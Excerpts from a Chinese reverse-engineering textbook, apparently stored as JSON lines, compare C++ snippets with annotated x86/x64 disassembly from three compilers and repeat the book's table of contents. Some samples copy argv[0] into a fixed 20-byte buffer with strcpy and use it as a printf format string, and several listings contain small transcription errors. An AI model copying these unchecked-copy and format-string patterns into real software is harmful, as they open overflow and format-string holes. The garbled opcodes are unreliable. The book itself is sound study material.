    {"text": "浮点数作为返回值的情况也是如此在32位程序中使用浮点栈st(0)作为返回值同样需要传递8字节数据64位程序中使用媒体寄存器xmm0作为返回值只需要传递4字节如代码清单2-3所示。"},
    {"text": "代码清单2-3 浮点数作为返回值 // C++源码 #include <stdio.h> float getFloat() { return 12.25f; } int main(int argc, char* argv[]) { float f = getFloat(); return 0; } //x86_vs对应汇编代码讲解 00401010 push ebp 00401011 mov ebp, es 00401013 push ecx ;参数1 argc入栈 00401014 call sub_401000 ;调用getFloat()函数 00401019 fstp dword ptr [ebp-4] ;f=getFloat()将st(0)的双精度数转换为单精度数 0040101C xor eax, eax 0040101E mov esp, ebp 00401020 pop ebp 00401021 retn 00401000 push ebp 00401001 mov ebp, esp 00401003 fld ds:flt_40D150 ;将返回值入栈到st(0)中单精度数转换为双精度数入栈 00401009 pop ebp 0040100A retn ;getFloat()函数返回 //x86_gcc对应汇编代码讲解 00401517 push ebp 00401518 mov ebp, esp 0040151A and esp, 0FFFFFFF0h ;栈对齐 0040151D sub esp, 10h 00401520 call ___main ;调用初始化函数 00401525 call __Z8getFloatv ;调用getFloat()函数 0040152A fstp dword ptr [esp+0Ch] ;f=getFloat()将st(0)的双精度数转换为单精度数 0040152E mov eax, 0 00401533 leave 00401534 retn 00401510 fld ds:flt_404000 ;将返回值入栈到st(0)中单精度数转换为双精度数入栈 00401516 retn ;getFloat()函数返回 //x86_clang对应汇编代码讲解 00401010 push ebp 00401011 mov ebp, esp 00401013 sub esp, 14h 00401016 mov eax, [ebp+0Ch] ;eax=argv 00401019 mov ecx, [ebp+8] ;ecx=argc 0040101C mov dword ptr [ebp-4], 0 00401023 mov [ebp-10h], eax 00401026 mov [ebp-14h], ecx 00401029 call sub_401000 ;调用getFloat()函数 0040102E fstp dword ptr [ebp-0Ch] ;f=getFloat()将st(0)的双精度数转换为单精度数 00401031 movss xmm0, dword ptr [ebp-0Ch] 00401036 xor eax, eax 00401038 movss dword ptr [ebp-8], xmm0 0040103D add esp, 14h 00401040 pop ebp 00401041 retn 00401000 push ebp 00401001 mov ebp, esp 00401003 fld ds:flt_40D150 ;将返回值入栈到st(0)中单精度数转换为双精度数入栈 00401009 pop ebp 0040100A retn ;getFloat()函数返回 //x64_vs对应汇编代码讲解 0000000140001010 mov [rsp+10h], rdx 0000000140001015 mov [rsp+8], ecx 0000000140001019 sub rsp, 38h 000000014000101D call sub_140001000 ;调用getFloat()函数 0000000140001022 movss dword ptr [rsp+20h], xmm0;f=getFloat()从xmm0获取返回值 0000000140001028 xor eax, eax 000000014000102A add rsp, 38h 000000014000102E retn 0000000140001000 movss xmm0, cs:dword_14000D2C0;xmm0=12.25f 0000000140001008 retn ;getFloat()函数返回 //x64_gcc对应汇编代码讲解 0000000000401559 push rbp 000000000040155A mov rbp, rsp 000000000040155D sub rsp, 30h 0000000000401561 mov [rbp+10h], ecx 0000000000401564 mov [rbp+18h], rdx 0000000000401568 call __main ;调用初始化函数 000000000040156D call _Z8getFloatv ;调用getFloat()函数 0000000000401572 movd eax, xmm0 0000000000401576 mov [rbp-4], eax ;f=getFloat()从xmm0获取返回值 0000000000401579 mov eax, 0 000000000040157E add rsp, 30h 0000000000401582 pop rbp 0000000000401583 retn 0000000000401550 movss xmm0, cs:dword_404000;xmm0=12.25f 0000000000401558 retn ;getFloat()函数返回 //x64_clang对应汇编代码讲解 0000000140001010 sub rsp, 38h 0000000140001014 mov dword ptr [rsp+34h], 0 000000014000101C mov [rsp+28h], rdx 0000000140001021 mov [rsp+24h], ecx 0000000140001025 call sub_140001000 ; 调用getFloat()函数 000000014000102A xor eax, eax 000000014000102C movss dword ptr [rsp+20h], xmm0;f=getFloat()从xmm0获取返回值 0000000140001032 add rsp, 38h 0000000140001036 retn 0000000140001000 movss xmm0, cs:dword_14000D2C0;xmm0=12.25f 0000000140001008 retn ;getFloat()函数返回"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 8.2 数组作为参数 我们在8.1节学习了局部数组的定义以及初始化过程。"},
    {"text": "代码清单8-4 数组作为参数传递 // C++ 源码 #include <stdio.h> #include <string.h> void show(char buffer[]) { //参数为字符数组类型 strcpy(buffer, \"Hello World\"); //字符串复制 printf(buffer); } int main(int argc, char* argv[]) { char buffer[20] = {0}; //字符数组定义 show(buffer); //将数组作为参数传递 return 0; } //x86_vs对应汇编代码讲解 00401030 push ebp 00401031 mov ebp, esp 00401033 sub esp, 18h 00401036 mov eax, ___security_cookie ;缓冲区溢出检查代码 0040103B xor eax, ebp 0040103D mov [ebp-4], eax 00401040 xor eax, eax 00401042 mov [ebp-18h], eax 00401045 mov [ebp-14h], eax 00401048 mov [ebp-10h], eax 0040104B mov [ebp-0Ch], eax 0040104E mov [ebp-8], eax 00401051 lea ecx, [ebp-18h] ;取数组首地址存入ecx 00401054 push ecx ;将ecx作为参数入栈 00401055 call sub_401000 ;调用show函数 0040105A add esp, 4 ;平衡参数 0040105D xor eax, eax 0040105F mov ecx, [ebp+var_4] 00401062 xor ecx, ebp 00401064 call @__security_check_cookie@4 ;缓冲区溢出检查代码 00401069 mov esp, ebp 0040106B pop ebp 0040106C retn 00401000 push ebp 00401001 mov ebp, esp 00401003 push offset aHelloWorld ;获取常量首地址并将此地址压入栈中作为strcpy参数 00401008 mov eax, [ebp+8] ;取函数参数buffer地址存入eax 0040100B push eax ;将eax入栈作为strcpy参数 0040100C call sub_404600 ;调用strcpy函数 00401011 add esp, 8 00401014 mov ecx, [ebp+8] 00401017 push ecx 00401018 call sub_4010B0 0040101D add esp, 4 00401020 pop ebp 00401021 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001030 mov [rsp+10h], rdx 0000000140001035 mov [rsp+8], ecx 0000000140001039 push rdi 000000014000103A sub rsp, 40h 000000014000103E mov rax, cs:__security_cookie;缓冲区溢出检查代码 0000000140001045 xor rax, rsp 0000000140001048 mov [rsp+38h], rax 000000014000104D lea rax, [rsp+20h] 0000000140001052 mov rdi, rax 0000000140001055 xor eax, eax 0000000140001057 mov ecx, 14h 000000014000105C rep stosb 000000014000105E lea rcx, [rsp+20h] ;传递参数1取数组首地址存入rcx 0000000140001063 call sub_140001000 ;调用show函数 0000000140001068 xor eax, eax 000000014000106A mov rcx, [rsp+38h] 000000014000106F xor rcx, rsp ;StackCookie 0000000140001072 call __security_check_cookie ;缓冲区溢出检查代码 0000000140001077 add rsp, 40h 000000014000107B pop rdi 000000014000107C retn 0000000140001000 mov [rsp+8], rcx 0000000140001005 sub rsp, 28h 0000000140001009 lea rdx, aHelloWorld ;传递参数2获取常量首地址作为strcpy参数 0000000140001010 mov rcx, [rsp+30h] ;传递参数1取函数参数buffer地址存入rcx 0000000140001015 call sub_1400044F0 ;调用strcpy函数 000000014000101A mov rcx, [rsp+30h] 000000014000101F call sub_1400010E0 0000000140001024 add rsp, 28h 0000000140001028 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 在代码清单8-4中当数组作为参数时数组的下标值被省略了。"},
    {"text": "这是因为当数组作为函数形参时函数参数中保存的是数组的首地址这是一个指针变量。 虽然参数是指针变量但需要特别注意的是实参数组名为常量值而指针或形参数组为变量。"},
    {"text": "void show(char buffer[]){ //保存字符串长度变量 int len = 0; //错误的使用方法此时buffer为指针类型并非数组只能得到4或者8字节长度 len = sizeof(buffer); //正确的使用方法使用获取字符串长度函数strlen len = strlen(buffer); } 字符串处理函数在Debug版下非常容易识别而在Release版下它们会被作为内联函数进行编译处理因此没有了函数调用指令call。"},
    {"text": "代码清单8-5 识别strlen()的内联形式Release版 //C++源码 #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { return strlen(argv[0]); } //x86_vs对应汇编代码讲解 00401000 mov eax, [esp+8] ;函数起始处 00401004 mov eax, [eax] ;获取参数内容eax中被赋值字符串首地址 00401006 lea edx, [eax+1] 00401009 nop dword ptr [eax+00000000h] 00401010 mov cl, [eax] ;获取字符 00401012 inc eax ;获取下一个字符 00401013 test cl, cl 00401015 jnz short loc_401010 ;如果字符是’\\0’结束循环 00401017 sub eax, edx ;字符串结束地址-字符串起止地址=字符串长度 00401019 retn ;函数终止处 //x86_gcc对应汇编代码无优化略 //x86_clang对应汇编代码无优化略 //x64_vs对应汇编代码讲解 0000000140001000 mov rcx, [rdx] ;函数起始处获取参数内容rcx中被赋值字符串首地址 0000000140001003 mov rax, 0FFFFFFFFFFFFFFFFh 000000014000100A nop word ptr [rax+rax+00h] 0000000140001010 inc rax ;数组下标加1 0000000140001013 cmp byte ptr [rcx+rax], 0 ;获取字符 0000000140001017 jnz short loc_140001010 ;如果字符是’\\0’结束循环 0000000140001019 retn ;函数终止处 //x64_gcc对应汇编代码无优化略 //x64_glang对应汇编代码无优化略 优化后的strlen()函数被编译为内联函数使用循环取代函数调用。"},
    {"text": "代码清单8-6 识别strcpy()的内联形式Release版 //C++源码 #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char buffer[20] = {0}; //字符数组定义 strcpy(buffer, argv[0]); //字符串复制 printf(buffer); return 0; } //x86_vs对应汇编代码讲解 00401010 sub esp, 18h 00401013 mov eax, ___security_cookie ;缓冲区溢出检查代码 00401018 xor eax, esp 0040101A mov [esp+14h], eax 0040101E mov eax, [esp+20h] ;eax=argv 00401022 lea edx, [esp] ;edx=buffer 00401025 xorps xmm0, xmm0 ;xmm0=0 00401028 mov dword ptr [esp+10h], 0 ;buffer最后4个字节初始化为0 00401030 movups xmmword ptr [esp], xmm0 ;使用xmm寄存器优化buffer前16字节初始化为0 00401034 mov eax, [eax] ;eax=argv[0] 00401036 sub edx, eax ;edx保存两个缓冲区地址差值 00401038 nop dword ptr [eax+eax+00000000h] ;代码对齐 00401040 mov cl, [eax] ;取出argv字符 00401042 lea eax, [eax+1] ;地址指向下一个字符 00401045 mov [edx+eax-1], cl ;复制字符,通过argv[0]的地址加上差值算出buffer的地址 00401049 test cl, cl 0040104B jnz short loc_401040 ;如果字符为\\0结束循环 0040104D lea eax, [esp] 00401050 push eax ;参数buffer入栈 00401051 call sub_401070 ;调用printf函数 00401056 mov ecx, [esp+18h] 0040105A add esp, 4 0040105D xor ecx, esp ;缓冲区溢出检查代码 0040105F xor eax, eax 00401061 call @__security_check_cookie@4 00401066 add esp, 18h 00401069 retn //x86_gcc对应汇编代码无优化略 //x86_clang对应汇编代码无优化略 //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 48h 0000000140001014 mov rax, cs:__security_cookie ;缓冲区溢出检查代码 000000014000101B xor rax, rsp 000000014000101E mov [rsp+38h], rax 0000000140001023 xor eax, eax ;eax=0 0000000140001025 xorps xmm0, xmm0 ;xmm0=0 0000000140001028 mov [rsp+30h], eax ;buffer最后4个字节初始化为0 000000014000102C mov rax, [rdx] ;rax=argv[0] 000000014000102F lea rdx, [rsp+20h] ;rdx=buffer 0000000140001034 sub rdx, rax ;rdx保存两个缓冲区地址差值 0000000140001037 movups xmmword ptr [rsp+20h], xmm0;使用xmm寄存器优化buffer前 ;16节初始化为0 000000014000103C nop dword ptr [rax+00h] ;代码对齐 0000000140001040 movzx ecx, byte ptr [rax] ;取出argv字符 0000000140001043 mov [rdx+rax], cl ;复制字符,通过argv[0]的地址加上差值算 ;出buffer的地址 0000000140001046 lea rax, [rax+1] ;地址指向下一个字符 000000014000104A test cl, cl 000000014000104C jnz short loc_140001040 ;如果字符为\\0结束循环 000000014000104E lea rcx, [rsp+20h] 0000000140001053 call sub_140001070 0000000140001058 xor eax, eax 000000014000105A mov rcx, [rsp+38h] ;缓冲区溢出检查代码 000000014000105F xor rcx, rsp 0000000140001062 call __security_check_cookie 0000000140001067 add rsp, 48h 000000014000106B retn //x64_gcc对应汇编代码无优化略 //x64_clang对应汇编代码无优化略 在代码清单8-6中在字符串初始化时利用xmm寄存器初始化数组的值因为xmm是一个16个字节的寄存器所以一次可以初始化16个字节的值这样效率更高。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第5章 流程控制语句的识别 流程控制语句的识别是逆向分析和还原高级代码的基础对于想从事逆向分析工作的读者来说本章的内容非常重要。对于无意从事逆向分析工作的开发人员来说通过本章的学习可以更好地理解高级语言中流程控制的内部实现机制对开发和调试大有裨益。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 目录 赞誉 序一 序二 序三 前言 第一部分 准备工作 第1章 熟悉工作环境和相关工具 1.1 安装Visual Studio 2019 1.2 安装GCC 1.3 调试工具OllyDbg 1.4 调试工具x64dbg 1.5 调试工具WinDbg 1.6 反汇编静态分析工具IDA 1.7 反汇编引擎的工作原理 1.8 本章小结 第二部分 C++反汇编揭秘 第2章 基本数据类型的表现形式 2.1 整数类型 2.1.1 无符号整数 2.1.2 有符号整数 2.2 浮点数类型 2.2.1 浮点数的编码方式 2.2.2 基本的浮点数指令 2.3 字符和字符串 2.3.1 字符的编码 2.3.2 字符串的存储方式 2.4 布尔类型 2.5 地址、指针和引用 2.5.1 指针和地址的区别 2.5.2 各类型指针的工作方式 2.5.3 引用 2.6 常量 2.6.1 常量的定义 2.6.2 #define和const的区别 2.7 本章小结 第3章 认识启动函数找到用户入口 3.1 程序的真正入口 3.2 了解VS2019的启动函数 3.3 main函数的识别 3.4 本章小结 第4章 观察各种表达式的求值过程 4.1 算术运算和赋值 4.1.1 各种算术运算的工作形式 4.1.2 算术结果溢出 4.1.3 自增和自减 4.2 关系运算和逻辑运算 4.2.1 关系运算和条件跳转的对应 4.2.2 表达式短路 4.2.3 条件表达式 4.3 位运算 4.4 编译器使用的优化技巧 4.4.1 流水线优化规则 4.4.2 分支优化规则 4.4.3 高速缓存优化规则 4.5 一次算法逆向之旅 4.6 本章小结 第5章 流程控制语句的识别 5.1 if语句 5.2 if…else…语句 5.3 用if构成的多分支流程 5.4 switch的真相 5.5 难以构成跳转表的switch 5.6 降低判定树的高度 5.7 do、while、for的比较 5.8 编译器对循环结构的优化 5.9 本章小结 第6章 函数的工作原理 6.1 栈帧的形成和关闭 6.2 各种调用方式的考察 6.3 使用ebp或esp寻址 6.4 函数的参数 6.5 函数的返回值 6.6 x64调用约定 6.7 本章小结 第7章 变量在内存中的位置和访问方式 7.1 全局变量和局部变量的区别 7.2 局部静态变量的工作方式 7.3 堆变量 7.4 本章小结 第8章 数组和指针的寻址 8.1 数组在函数内 8.2 数组作为参数 8.3 数组作为返回值 8.4 下标寻址和指针寻址 8.5 多维数组 8.6 存放指针类型数据的数组 8.7 指向数组的指针变量 8.8 函数指针 8.9 本章小结 第9章 结构体和类 9.1 对象的内存布局 9.2 this指针 9.3 静态数据成员 9.4 对象作为函数参数 9.5 对象作为返回值 9.6 本章小结 第10章 构造函数和析构函数 10.1 构造函数的出现时机 10.2 每个对象是否都有默认的构造函数 10.3 析构函数的出现时机 10.4 本章小结 第11章 虚函数 11.1 虚函数的机制 11.2 虚函数的识别 11.3 本章小结 第12章 从内存角度看继承和多重继承 12.1 识别类和类之间的关系 12.2 多重继承 12.3 抽象类 12.4 虚继承 12.5 本章小结 第13章 异常处理 13.1 异常处理的相关知识 13.2 异常类型为基本数据类型的处理流程 13.3 异常类型为对象的处理流程 13.4 识别异常处理 13.5 x64异常处理 13.5.1 RUNTIME_FUNCTION结构 13.5.2 UNWIND_INFO结构 13.5.3 UNWIND_CODE结构 13.5.4 特定于语言的处理程序 13.5.5 x64 FuncInfo的变化 13.5.6 还原x64的try…catch 13.6 本章小结 第三部分 逆向分析技术应用 第14章 PEiD的工作原理分析 14.1 开发环境的识别 14.2 开发环境的伪造 14.3 本章小结 第15章 调试器OllyDbg的工作原理分析 15.1 INT3断点 15.2 内存断点 15.3 硬件断点 15.4 异常处理机制 15.5 加载调试程序 15.6 本章小结 第16章 大灰狼远控木马逆向分析 16.1 调试环境配置 16.2 病毒程序初步分析 16.3 启动过程分析 16.4 通信协议分析 16.5 远控功能分析 16.6 本章小结 第17章 WannaCry勒索病毒逆向分析 17.1 tasksche.exe勒索程序逆向分析 17.1.1 病毒初始化 17.1.2 加载病毒核心代码 17.1.3 病毒核心代码 17.2 mssecsvc.exe蠕虫程序逆向分析 17.2.1 蠕虫病毒代码初始化 17.2.2 发送漏洞攻击代码 17.3 永恒之蓝MS17-010漏洞原理分析 17.3.1 漏洞1利用分析 17.3.2 漏洞2利用分析 17.3.3 漏洞3利用分析 17.4 本章小结 第18章 反汇编代码的重建与编译 18.1 重建反汇编代码 18.2 编译重建后的反汇编代码 18.3 本章小结 参考文献"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 4.2 关系运算和逻辑运算 关系运算用于判断两者之间的关系如等于、不等于、大于或等于、小于或等于、大于和小于对应的符号分别为“==”“!=”“>=”“<=”“>”“<”。 关系运算的作用是比较关系运算符左右两边的操作数的值得出一个判断结果真或假。 逻辑运算用于判定两个逻辑值之间的依赖关系如或、与、非对应的符号有“||”“&&”“”。"},
    {"text": "1. 或运算 比较运算符||左右的语句的结果如果有一个值为真则返回真值如果都为假则返回假值。 2. 与运算 比较运算符&&左右的语句的结果如果有一个值为假则返回假值如果都为真值则返回真值。 3. 非运算 改变运算符后面语句的真假结果如果该语句的结果为真值则返回假值如果为假值则返回真值。"},
    {"text": "4.2.1 关系运算和条件跳转的对应 在C++中可以利用各种类型的跳转比较两者之间的关系根据比较结果影响到的标记位来选择对应的条件跳转指令。 根据两个需要进行比较的数值所使用到的关系运算选择条件跳转指令不同的关系运算对应的条件跳转指令也不相同。"},
    {"text": "4.2.2 表达式短路 表达式短路通过逻辑与运算和逻辑或运算使语句根据条件在执行时发生中断从而不予执行后面的语句。 如何利用表达式短路来实现语句中断呢根据逻辑与和逻辑或运算的特性如果是与运算当运算符左边的语句块为假值时直接返回假值不执行右边的语句如果是或运算当运算符左边的语句块为真值时直接返回真值不执行右边的语句块。"},
    {"text": "使用CMP指令检查运算符左边的语句是否为假值根据跳转指令JZ决定是否跳过程序流程。 当变量num为假时JZ成功跳转跳过递归函数调用程序流程将会执行到出口return处。"},
    {"text": "代码清单4-17 使用逻辑与运算完成表达式短路 // C++源码 #include <stdio.h> //递归函数用于计算整数累加num为累加值 int accumulation(int num) { //当num等于0时逻辑或运算符左边的值为真不会执行右边语句形成表达式短路从而找到递归出口 (num == 0) || (num += accumulation(num - 1)); return num; } int main(int argc, char* argv[]) { accumulation(10); return 0; } //x86_vs对应汇编代码讲解 ;使用逻辑或运算造成的表达式短路生成的反汇编代码与使用逻辑与是一样的 00401000 push ebp 00401001 mov ebp, esp 00401003 cmp dword ptr [ebp+8], 0 00401007 jz short loc_40101E 00401009 mov eax, [ebp+8] 0040100C sub eax, 1 0040100F push eax 00401010 call sub_401000 00401015 add esp, 4 00401018 add eax, [ebp+8] 0040101B mov [ebp+8], eax 0040101E loc_40101E: 0040101E mov eax, [ebp+8] 00401021 pop ebp 00401022r etn //x86_gcc对应汇编代码相似省略 //x86_clang对应汇编代码相似省略 //x64_vs对应汇编代码相似省略 //x64_gcc对应汇编代码相似省略 //x64_clang对应汇编代码相似省略 对比代码清单4-16与代码清单4-17发现编译器会将两种短路表达式编译为相同的汇编代码。"},
    {"text": "虽然使用的逻辑运算符不同但在两种情况下运算符左边的语句块都是在与0值作比较而且判定的结果都是等于0时不执行运算符右边的语句块因此就变成了相同的汇编代码。"},
    {"text": "但是编译器并不一定会按照这种方式进行编译当表达式2与表达式3都为常量时条件表达式可以被优化当表达式2或表达式3有变量时条件表达式可以被优化当表达式2或表达式3有变量表达式时会转换成分支结构。 当表达式1为常量值时编译器会在编译期间得到答案不会存在条件表达式。"},
    {"text": "方案1 表达式1为简单比较而表达式2和表达式3两者为常量且差值等于1。 方案2 表达式2和表达式3两者为常量且差值大于1。 方案3 表达式2或表达式3有变量。 方案4 表达式2或表达式3有变量表达式。"},
    {"text": "代码清单4-18 条件表达式转换方案1 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { printf(\"%d\\n\", argc == 5 ? 5 : 6); return 0; } //x86_vs对应汇编代码讲解 00401010 xor eax, eax 00401012 cmp dword ptr [esp+4], 5 ;判断argc==5影响标志寄存器 00401017 setnz al ;eax=标志寄存器ZF的值取反 0040101A add eax, 5 ;if (argc==5) eax=0+5 ;if (argc!=5) eax=1+5 0040101D push eax ;参数1 0040101E push offset unk_412160 ;参数2 00401023 call sub_401030 ;调用printf函数 00401028 add esp, 8 ;平衡栈 0040102B xor eax, eax 0040102D retn //x86_gcc对应汇编代码讲解 00402580 push ebp 00402581 mov ebp, esp 00402583 push ebx 00402584 and esp, 0FFFFFFF0h ;对齐栈 00402587 sub esp, 10h 0040258A mov ebx, [ebp+8] ;ebx=argc 0040258D call ___main ;调用初始化函数 00402592 mov eax, 6 00402597 mov dword ptr [esp], offset aD ;参数1 \"%d\\n\" 0040259E cmp ebx, 5 ;判断argc==5影响标志寄存器 004025A1 cmovnz ebx, eax ;条件传送指令argc!=5传送数据argc==5不传送数据 ;if (argc==5) ebx=5 ;if (argc!=5) ebx=6 004025A4 mov [esp+4], ebx ;参数2 004025A8 call _printf ;调用printf函数 004025AD xor eax, eax 004025AF mov ebx, [ebp-4] 004025B2 leave 004025B3 retn //x86_clang对应汇编代码讲解 00401000 xor eax, eax 00401002 cmp dword ptr [esp+4], 5 ;判断argc==5影响标志寄存器 00401007 mov ecx, 6 0040100C setz al ;eax=标志寄存器ZF的值 0040100F sub ecx, eax ;if (argc==5) ecx=6-1 ;if (argc!=5) eax=6-0 00401011 push ecx ;参数1 00401012 push offset aD ;参数2 \"%d\\n\" 00401017 call sub_401030 ;调用printf函数 0040101C add esp, 8 ;平衡栈 0040101F xor eax, eax 00401021 retn //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 xor edx, edx 0000000140001016 cmp ecx, 5 ;判断argc==5影响标志寄存器 0000000140001019 lea rcx, aD ;参数1 \"%d\\n\" 0000000140001020 setnz dl ;edx=标志寄存器ZF的值取反 0000000140001023 add edx, 5 ;参数2 if (argc==5) edx=0+5 ;if (argc!=5) edx=1+5 0000000140001026 call sub_140001040 ;调用printf函数 000000014000102B xor eax, eax 000000014000102D add rsp, 28h 0000000140001031 retn //x64_gcc对应汇编代码讲解 0000000000402BF0 push rbx 0000000000402BF1 sub rsp, 20h 0000000000402BF5 mov ebx, ecx 0000000000402BF7 call __main 0000000000402BFC cmp ebx, 5 ;判断argc==5影响标志寄存器 0000000000402BFF mov eax, 6 0000000000402C04 cmovnz ebx, eax ;条件传送指令argc!=5传送数据argc==5不传送数据 ;if (argc==5) ebx=5 ;if (argc!=5) ebx=6 0000000000402C07 lea rcx, aD ;参数1 \"%d\\n\" 0000000000402C0E mov edx, ebx ;参数2 0000000000402C10 call printf ;调用printf函数 0000000000402C15 xor eax, eax 0000000000402C17 add rsp, 20h 0000000000402C1B pop rbx 0000000000402C1C retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 xor eax, eax 0000000140001006 cmp ecx, 5 ;判断argc==5影响标志寄存器 0000000140001009 setz al ;eax=标志寄存器ZF的值 000000014000100C mov edx, 6 0000000140001011 sub edx, eax ;参数2 if (argc==5) ecx=6-1 ;if (argc!=5) eax=6-0 0000000140001013 lea rcx, aD ;参数1 \"%d\\n\" 000000014000101A call sub_140001030 ;调用printf函数 000000014000101F xor eax, eax 0000000140001021 add rsp, 28h 0000000140001025 retn 代码清单4-18利用表达式2和表达式3之间的差值1使用setz、setnz、cmov指令进行无分支优化。"},
    {"text": "代码清单4-19 条件表达式转换方案2 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { printf(\"%d\\n\", argc > 5 ? 4 : 10); return 0; } //x86_vs对应汇编代码讲解 00401010 cmp dword ptr [esp+4], 5 ;判断argc==5影响标志寄存器 00401015 mov ecx, 4 0040101A mov eax, 0Ah ;eax=10 0040101F cmovg eax, ecx ;条件传送指令argc>5传送数据argc<=5不传送数据 ;if (argc>5) eax=4 ;if (argc<=5) eax=10 00401022 push eax ;参数2 00401023 push offset unk_412160 ;参数1 00401028 call sub_401040 ;调用printf函数 0040102D add esp, 8 ;平衡栈 00401030 xor eax, eax 00401032 retn //x86_gcc对应汇编代码讲解 00402580 push ebp 00402581 mov ebp, esp 00402583 and esp, 0FFFFFFF0h ;对齐栈 00402586 sub esp, 10h 00402589 call ___main ;调用初始化函数 0040258E cmp dword ptr [ebp+8], 5 ;判断argc==5影响标志寄存器 00402592 mov edx, 0Ah 00402597 mov eax, 4 ;eax=4 0040259C cmovle eax, edx ;条件传送指令argc<=5传送数据argc>5不传送数据 ;if (argc>5) eax=4 ;if (argc<=5) eax=10 0040259F mov dword ptr [esp], offset aD ;参数1 \"%d\\n\" 004025A6 mov [esp+4], eax ;参数2 004025AA call _printf ;调用printf函数 004025AF xor eax, eax 004025B1 leave 004025B2 retn //x86_clang对应汇编代码讲解 00401000 cmp dword ptr [esp+4], 5 ;判断argc==5影响标志寄存器 00401005 mov eax, 4 0040100A mov ecx, 0Ah ;ecx=10 0040100F cmovg ecx, eax ;条件传送指令argc>5传送数据argc<=5不传送数据 ;if (argc>5) ecx=4 ;if (argc<=5) ecx=10 00401012 push ecx ;参数2 00401013 push offset unk_412160 ;参数1 00401018 call sub_401030 ;调用printf函数 0040101D add esp, 8 ;平衡栈 00401020 xor eax, eax 00401022 retn //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 cmp ecx, 5 ;判断argc==5影响标志寄存器 0000000140001017 mov edx, 0Ah ;edx=10 000000014000101C mov eax, 4 0000000140001021 lea rcx, unk_1400122C0 ;参数1 0000000140001028 cmovg edx, eax ;条件传送指令argc>5传送数据argc<=5不传送数据 ;if (argc>5) edx=4 ;if (argc<=5) edx=10 参数2 000000014000102B call sub_140001040 ;调用printf函数 0000000140001030 xor eax, eax 0000000140001032 add rsp, 28h 0000000140001036 retn //x64_gcc对应汇编代码讲解 0000000000402BF0 push rbx 0000000000402BF1 sub rsp, 20h 0000000000402BF5 mov ebx, ecx ;ebx=argc 0000000000402BF7 call __main ;调用初始化函数 0000000000402BFC cmp ebx, 5 ;判断argc==5影响标志寄存器 0000000000402BFF mov eax, 0Ah 0000000000402C04 mov edx, 4 ;edx=4 0000000000402C09 cmovle edx, eax ;条件传送指令argc<=5传送数据argc>5不传送数据 ;if (argc>5) edx=4 ;if (argc<=5) edx=10 参数2 0000000000402C0C lea rcx, aD ;参数1 \"%d\\n\" 0000000000402C13 call printf ;调用printf函数 0000000000402C18 xor eax, eax 0000000000402C1A add rsp, 20h 0000000000402C1E pop rbx 0000000000402C1F retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 cmp ecx, 5 ;判断argc==5影响标志寄存器 0000000140001007 mov eax, 4 000000014000100C mov edx, 0Ah ;edx=10 0000000140001011 cmovg edx, eax ;条件传送指令argc>5传送数据argc<=5不传送数据 ;if (argc>5) edx=4 ;if (argc<=5) edx=10 参数2 0000000140001014 lea rcx, unk_1400122C0 ;参数1 \"%d\\n\" 000000014000101B call sub_140001030 ;调用printf函数 0000000140001020 xor eax, eax 0000000140001022 add rsp, 28h 0000000140001026 retn 在代码清单4-19中对于表达式2和表达式3两者为常量且差值大于1所有编译器都选择使用条件传送指令cmov进行无分支优化。"},
    {"text": "代码清单4-21 条件表达式无优化使用分支结果 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int n1, n2; scanf(\"%d %d\", &n1, &n2); printf(\"%d\\n\", argc ? n1 : n2+3); return 0; } //x86_vs对应汇编代码讲解 00401020 sub esp, 8 00401023 lea eax, [esp+4] 00401027 push eax 00401028 lea eax, [esp+4] 0040102C push eax 0040102D push offset aDD ;\"%d %d\" 00401032 call sub_4010A0 00401037 add esp, 0Ch 0040103A cmp dword ptr [esp+0Ch], 0 0040103F jz short loc_401055 ;使用语句流程进行比较和判断 00401041 mov eax, [esp] 00401044 push eax 00401045 push offset aD ;\"%d\\n\" 0040104A call sub_401070 0040104F xor eax, eax 00401051 add esp, 10h 00401054 retn 00401055 loc_401055: 00401055 mov eax, [esp+4] 00401059 add eax, 3 0040105C push eax 0040105D push offset aD ;\"%d\\n\" 00401062 call sub_401070 00401067 xor eax, eax 00401069 add esp, 10h 0040106C retn 分析代码清单4-21中的汇编代码可以发现条件表达式最后转换的汇编代码与分支结构的表现形式非常相似它的判断比较与表达式短路很类似。"},
    {"text": "从P5时代开始CPU拥有了一种先进的解决处理分支指令if-then-else导致流水线失败的数据处理方法叫作分支预测Branch Prediction功能由CPU判断程序分支的进行方向能够加快运算速度。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第6章 函数的工作原理 阅读本章前我们先思考两个问题。 函数执行时程序流程会转到函数体的实现地址只有遇到return语句或者“}”符号才返回到下一条语句的地址那么编译器是如何确定应该回到什么地址的呢为什么很多高级语言在传递参数时会执行将实参复制给形参这一操作呢 思考5分钟后请仔细阅读本章验证你的想法。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 9.1 对象的内存布局 结构体和类都是抽象的在真实世界中它们只可以表示某个群体无法确定这个群体中的某个独立个体而对象则是群体中独立存在的个体。"},
